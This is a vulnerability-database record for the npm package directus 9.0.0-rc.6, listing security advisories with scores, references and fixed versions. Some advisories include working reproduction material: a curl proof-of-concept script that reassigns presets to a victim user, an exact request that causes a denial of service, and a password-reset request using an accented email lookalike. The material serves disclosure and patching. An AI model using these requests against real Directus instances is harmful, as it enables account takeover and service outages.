Lookup for vulnerable packages by Package URL.

Purlpkg:npm/directus@9.0.0-rc.6
Typenpm
Namespace
Namedirectus
Version9.0.0-rc.6
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version11.17.0
Latest_non_vulnerable_version11.17.0
Affected_by_vulnerabilities
0
url VCID-1xcr-rv9q-9kaz
vulnerability_id VCID-1xcr-rv9q-9kaz
summary
Directus: TUS Upload Authorization Bypass Allows Arbitrary File Overwrite
## Summary

Directus' TUS resumable upload endpoint (`/files/tus`) allows any authenticated user with basic file upload permissions to overwrite arbitrary existing files by UUID. The TUS controller performs only collection-level authorization checks, verifying the user has some permission on `directus_files`, but never validates item-level access to the specific file being replaced. As a result, row-level permission rules (e.g., "users can only update their own files") are completely bypassed via the TUS path while being correctly enforced on the standard REST upload path.

## Impact

- **Arbitrary file overwrite:** Any authenticated user with basic TUS upload permissions can overwrite any file in `directus_files` by UUID, regardless of row-level permission rules.
- **Permanent data loss:** The victim file's original stored bytes are deleted from storage and replaced with attacker-controlled content.
- **Metadata corruption:** The victim file's database record is updated with the attacker's filename, type, and size metadata.
Privilege escalation potential: If admin-owned files (e.g., application assets, templates) are stored in `directus_files`, a low-privilege user could replace them with malicious content.

## Workaround

Disable TUS uploads by setting `TUS_ENABLED=false` if resumable uploads are not required.

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35412
reference_id
reference_type
scores
0
value 0.00013
scoring_system epss
scoring_elements 0.02543
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35412
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-qqmv-5p3g-px89
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T16:23:08Z/
url https://github.com/directus/directus/security/advisories/GHSA-qqmv-5p3g-px89
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35412
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35412
4
reference_url https://github.com/advisories/GHSA-qqmv-5p3g-px89
reference_id GHSA-qqmv-5p3g-px89
reference_type
scores
url https://github.com/advisories/GHSA-qqmv-5p3g-px89
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35412, GHSA-qqmv-5p3g-px89
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-1xcr-rv9q-9kaz
1
url VCID-28xp-kp38-8kem
vulnerability_id VCID-28xp-kp38-8kem
summary
Directus is soft-locked by providing a string value to random string util
### Describe the Bug

Providing a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.

### To Reproduce

1. Test if the endpoint is working and accessible, `GET http://localhost:8055/utils/random/string`
2. Do a bad request `GET http://localhost:8055/utils/random/string?length=foo`
3. After this all calls to `GET http://localhost:8055/utils/random/string` will return an empty string instead of a random string
4. In this error situation you'll see authentication refreshes fail for the app and api.

### Impact

This counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-36128
reference_id
reference_type
scores
0
value 0.00353
scoring_system epss
scoring_elements 0.57876
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-36128
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/7d2a1392f43613094de700062aba168a9400dd3b
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-06-03T15:30:27Z/
url https://github.com/directus/directus/commit/7d2a1392f43613094de700062aba168a9400dd3b
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-632p-p495-25m5
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-06-03T15:30:27Z/
url https://github.com/directus/directus/security/advisories/GHSA-632p-p495-25m5
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-36128
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-36128
5
reference_url https://github.com/advisories/GHSA-632p-p495-25m5
reference_id GHSA-632p-p495-25m5
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-632p-p495-25m5
fixed_packages
0
url pkg:npm/directus@10.11.2
purl pkg:npm/directus@10.11.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hc2-7tsc-nka1
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4v6n-unvz-wff3
7
vulnerability VCID-4x1w-8bx4-rqf9
8
vulnerability VCID-547q-d837-dfcz
9
vulnerability VCID-662k-n18g-mybg
10
vulnerability VCID-6ggp-xn4c-gya3
11
vulnerability VCID-6mr6-u3vk-sygm
12
vulnerability VCID-88w3-rw8u-rqea
13
vulnerability VCID-95tn-g8wd-63hq
14
vulnerability VCID-a75s-xyu6-wbcw
15
vulnerability VCID-a9tr-a8r5-57en
16
vulnerability VCID-bwww-3wep-2ydf
17
vulnerability VCID-dy98-51bk-p3fk
18
vulnerability VCID-exwx-sqry-c3gc
19
vulnerability VCID-gnzq-q9g9-m3a4
20
vulnerability VCID-hv63-3zhy-dyae
21
vulnerability VCID-j711-a6gm-b7hr
22
vulnerability VCID-kugb-dwxd-6fhe
23
vulnerability VCID-mk5k-pf2s-mfe9
24
vulnerability VCID-n7g1-hmy7-j7g9
25
vulnerability VCID-n9br-39bb-7ugt
26
vulnerability VCID-rq5y-ee4h-gkff
27
vulnerability VCID-szpk-4g6r-f3e6
28
vulnerability VCID-trbn-m8sj-ffa4
29
vulnerability VCID-uft7-5e9d-dqh8
30
vulnerability VCID-vt3b-2dr3-aka2
31
vulnerability VCID-wcaq-4zzz-qfb7
32
vulnerability VCID-wx6m-6dac-xqaj
33
vulnerability VCID-ycj2-8tqq-jyag
34
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.11.2
aliases CVE-2024-36128, GHSA-632p-p495-25m5
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-28xp-kp38-8kem
2
url VCID-2hc2-7tsc-nka1
vulnerability_id VCID-2hc2-7tsc-nka1
summary
Directus has an insecure object reference via PATH presets
### Impact
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. When chained with [CVE-2024-6533](https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw), it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request.

### PoC
To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

1. Create a preset for a collection.

Store the preset id, or use it if it already exists from `GET /presets`. The following example will use the direct_users preset.

```bash
TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
```

2. Modify the presets via `PATCH /presets/{id}`.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from `GET /users`. The following example modifies the title parameter.

```bash
curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
```

Notes:

Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-6534
reference_id
reference_type
scores
0
value 0.00058
scoring_system epss
scoring_elements 0.183
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-6534
1
reference_url https://directus.io
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://directus.io
2
reference_url https://fluidattacks.com/advisories/capaldi
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-15T14:09:09Z/
url https://fluidattacks.com/advisories/capaldi
3
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
6
reference_url https://directus.io/
reference_id directus.io
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-15T14:09:09Z/
url https://directus.io/
7
reference_url https://github.com/advisories/GHSA-3fff-gqw3-vj86
reference_id GHSA-3fff-gqw3-vj86
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-3fff-gqw3-vj86
fixed_packages
0
url pkg:npm/directus@10.13.2
purl pkg:npm/directus@10.13.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4v6n-unvz-wff3
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-547q-d837-dfcz
7
vulnerability VCID-662k-n18g-mybg
8
vulnerability VCID-6ggp-xn4c-gya3
9
vulnerability VCID-6mr6-u3vk-sygm
10
vulnerability VCID-88w3-rw8u-rqea
11
vulnerability VCID-a75s-xyu6-wbcw
12
vulnerability VCID-a9tr-a8r5-57en
13
vulnerability VCID-bwww-3wep-2ydf
14
vulnerability VCID-dy98-51bk-p3fk
15
vulnerability VCID-exwx-sqry-c3gc
16
vulnerability VCID-gnzq-q9g9-m3a4
17
vulnerability VCID-hv63-3zhy-dyae
18
vulnerability VCID-j711-a6gm-b7hr
19
vulnerability VCID-kugb-dwxd-6fhe
20
vulnerability VCID-mk5k-pf2s-mfe9
21
vulnerability VCID-n7g1-hmy7-j7g9
22
vulnerability VCID-n9br-39bb-7ugt
23
vulnerability VCID-rq5y-ee4h-gkff
24
vulnerability VCID-szpk-4g6r-f3e6
25
vulnerability VCID-trbn-m8sj-ffa4
26
vulnerability VCID-uft7-5e9d-dqh8
27
vulnerability VCID-vt3b-2dr3-aka2
28
vulnerability VCID-wcaq-4zzz-qfb7
29
vulnerability VCID-wx6m-6dac-xqaj
30
vulnerability VCID-ycj2-8tqq-jyag
31
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.2
aliases CVE-2024-6534, GHSA-3fff-gqw3-vj86
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2hc2-7tsc-nka1
3
url VCID-2uz6-wjn7-kug4
vulnerability_id VCID-2uz6-wjn7-kug4
summary
Directus has open redirect in SAML
## Security Advisory: Open Redirect in Directus SAML Authentication

### Summary

An open redirect vulnerability exists in the Directus SAML authentication callback endpoint. The `RelayState` parameter is used in redirects without proper validation against an allowlist of permitted domains.

### Vulnerability Description

During SAML authentication, the `RelayState` parameter is intended to preserve the user's original destination. However, while the login initiation flow validates redirect targets against allowed domains, this validation is not applied to the callback endpoint. This allows an attacker to craft a malicious authentication request that redirects users to an arbitrary external URL upon completion.

The vulnerability is present in both the success and error handling paths of the callback.

### Impact

- **Phishing**: Users can be redirected to attacker-controlled sites that mimic legitimate login pages
- **Credential theft**: Chained attacks may leverage the redirect to capture OAuth tokens or authorization codes
- **Trust erosion**: Users may lose confidence in the application's security posture

This vulnerability can be exploited without authentication.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-22032
reference_id
reference_type
scores
0
value 0.00087
scoring_system epss
scoring_elements 0.25009
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-22032
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/dad9576ea9362905cc4de8028d3877caff36dc23
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-08T14:48:13Z/
url https://github.com/directus/directus/commit/dad9576ea9362905cc4de8028d3877caff36dc23
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-3573-4c68-g8cc
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-08T14:48:13Z/
url https://github.com/directus/directus/security/advisories/GHSA-3573-4c68-g8cc
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-22032
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-22032
5
reference_url https://github.com/advisories/GHSA-3573-4c68-g8cc
reference_id GHSA-3573-4c68-g8cc
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-3573-4c68-g8cc
fixed_packages
0
url pkg:npm/directus@11.14.0
purl pkg:npm/directus@11.14.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-6ggp-xn4c-gya3
2
vulnerability VCID-6mr6-u3vk-sygm
3
vulnerability VCID-bwww-3wep-2ydf
4
vulnerability VCID-exwx-sqry-c3gc
5
vulnerability VCID-hv63-3zhy-dyae
6
vulnerability VCID-n9br-39bb-7ugt
7
vulnerability VCID-rq5y-ee4h-gkff
8
vulnerability VCID-trbn-m8sj-ffa4
9
vulnerability VCID-wcaq-4zzz-qfb7
10
vulnerability VCID-ycj2-8tqq-jyag
11
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.14.0
aliases CVE-2026-22032, GHSA-3573-4c68-g8cc
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2uz6-wjn7-kug4
4
url VCID-4aek-ts88-rqaj
vulnerability_id VCID-4aek-ts88-rqaj
summary
Duplicate Advisory: Improper access control in Directus
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references.

## Original Description
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets' request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.
references
0
reference_url https://directus.io
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://directus.io
1
reference_url https://fluidattacks.com/advisories/capaldi
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://fluidattacks.com/advisories/capaldi
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
4
reference_url https://github.com/advisories/GHSA-q83v-hq3j-4pq3
reference_id GHSA-q83v-hq3j-4pq3
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-q83v-hq3j-4pq3
fixed_packages
0
url pkg:npm/directus@10.13.1
purl pkg:npm/directus@10.13.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hc2-7tsc-nka1
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4v6n-unvz-wff3
6
vulnerability VCID-4x1w-8bx4-rqf9
7
vulnerability VCID-547q-d837-dfcz
8
vulnerability VCID-662k-n18g-mybg
9
vulnerability VCID-6ggp-xn4c-gya3
10
vulnerability VCID-6mr6-u3vk-sygm
11
vulnerability VCID-88w3-rw8u-rqea
12
vulnerability VCID-a75s-xyu6-wbcw
13
vulnerability VCID-a9tr-a8r5-57en
14
vulnerability VCID-bwww-3wep-2ydf
15
vulnerability VCID-dy98-51bk-p3fk
16
vulnerability VCID-exwx-sqry-c3gc
17
vulnerability VCID-gnzq-q9g9-m3a4
18
vulnerability VCID-hv63-3zhy-dyae
19
vulnerability VCID-j711-a6gm-b7hr
20
vulnerability VCID-kugb-dwxd-6fhe
21
vulnerability VCID-mk5k-pf2s-mfe9
22
vulnerability VCID-n7g1-hmy7-j7g9
23
vulnerability VCID-n9br-39bb-7ugt
24
vulnerability VCID-rq5y-ee4h-gkff
25
vulnerability VCID-szpk-4g6r-f3e6
26
vulnerability VCID-trbn-m8sj-ffa4
27
vulnerability VCID-uft7-5e9d-dqh8
28
vulnerability VCID-vt3b-2dr3-aka2
29
vulnerability VCID-wcaq-4zzz-qfb7
30
vulnerability VCID-wx6m-6dac-xqaj
31
vulnerability VCID-ycj2-8tqq-jyag
32
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.1
aliases GHSA-q83v-hq3j-4pq3
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4aek-ts88-rqaj
5
url VCID-4uk6-xe3f-h3h9
vulnerability_id VCID-4uk6-xe3f-h3h9
summary
Directus has MySQL accent insensitive email matching
## Password reset vulnerable to accent confusion

The password reset mechanism of the Directus backend is implemented in a way where combined with (specific, need to double check if i can work around) configuration in MySQL or MariaDB. As such, it allows attackers to receive a password reset email of a victim user, specifically having it arrive at a similar email address as the victim with a one or more characters changed to use accents. 

This is due to the fact that by default MySQL/MariaDB are configured for accent-insenstive and case-insensitve comparisons.

MySQL weak comparison:
```sql
select 1 from directus_users where 'julian@cure53.de' = 'julian@cüre53.de';
```

This is exploitable due to an error in the API using the supplied email address for sending the reset password mail instead of using the email from the database.

### Steps to reproduce:

1. If the attacker knows the email address of the victim user, i.e., `julian@cure53.de`. (possibly just the domain could be enough for an educated guess)
2. A off-by-one accented domain `cüre53.de` can be registered to be able to receive emails.
3. With this email the attacker can request a password reset for `julian@cüre53.de`. 
```http
POST /auth/password/request HTTP/1.1
Host: example.com
[...]
{"email":"julian@cüre53.de"}
```
4. The supplied email (julian@cüre53.de) gets checked against the database and will match the non-accented email `julian@cure53.de` and will continue to email the password reset link to the provided email address instead of the saved email address.
5. With this email the attacker can log into the target account and use it for nefarious things

### Workarounds
Should be possible with collations but haven't been able to confirm this. 

### References
- https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation/
- https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-27295
reference_id
reference_type
scores
0
value 0.00604
scoring_system epss
scoring_elements 0.69916
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-27295
1
reference_url https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://github.com/directus/directus/commit/a8ef790ea2d28b1727f9027d99bd360920d57919
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/commit/a8ef790ea2d28b1727f9027d99bd360920d57919
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-qw9g-7549-7wg5
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-03-05T19:45:59Z/
url https://github.com/directus/directus/security/advisories/GHSA-qw9g-7549-7wg5
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-27295
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-27295
6
reference_url https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation
7
